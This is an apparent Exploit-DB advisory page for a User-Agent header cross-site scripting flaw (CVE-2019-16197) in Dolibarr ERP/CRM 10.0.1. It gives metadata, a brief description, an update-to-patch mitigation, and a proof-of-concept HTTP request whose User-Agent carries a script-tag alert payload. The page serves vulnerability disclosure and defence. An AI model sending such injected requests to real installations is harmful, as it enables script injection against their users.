header-logo
Suggest Exploit
vendor:
Dolibarr ERP/CRM
by:
Metin Yunus Kandemir (kandemir)
6.1
CVSS
MEDIUM
Cross Site Scripting
79
CWE
Product Name: Dolibarr ERP/CRM
Affected Version From: 10.0.1
Affected Version To: 10.0.1
Patch Exists: YES
Related CWE: CVE-2019-16197
CPE: a:dolibarr_project:dolibarr_erpcrm:10.0.1
Metasploit:
Other Scripts:
Platforms Tested: Linux
2019

Dolibarr ERP/CRM 10.0.1 – User-Agent Http Header Cross Site Scripting

In htdocs/societe/card.php in Dolibarr 10.0.1, the value of the User-Agent HTTP header is copied into the HTML document as plain text between tags, leading to XSS.

Mitigation:

Update to the latest version of Dolibarr ERP/CRM.
Source

Exploit-DB raw data:

# Exploit Title: Dolibarr ERP/CRM 10.0.1 - User-Agent Http Header Cross
Site Scripting
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://www.dolibarr.org/downloads
# Version: 10.0.1
# Category: Webapps
# Tested on: Xampp for Linux
# CVE: CVE-2019-16197
# Software Description : Dolibarr ERP & CRM is a modern and easy to use
software package to manage your business...
==================================================================

Description: In htdocs/societe/card.php in Dolibarr 10.0.1, the value of
the User-Agent HTTP header is copied into the HTML document as plain text
between tags, leading to XSS.

GET /dolibarr-10.0.1/htdocs/societe/card.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0ab<script>alert("XSS")</script>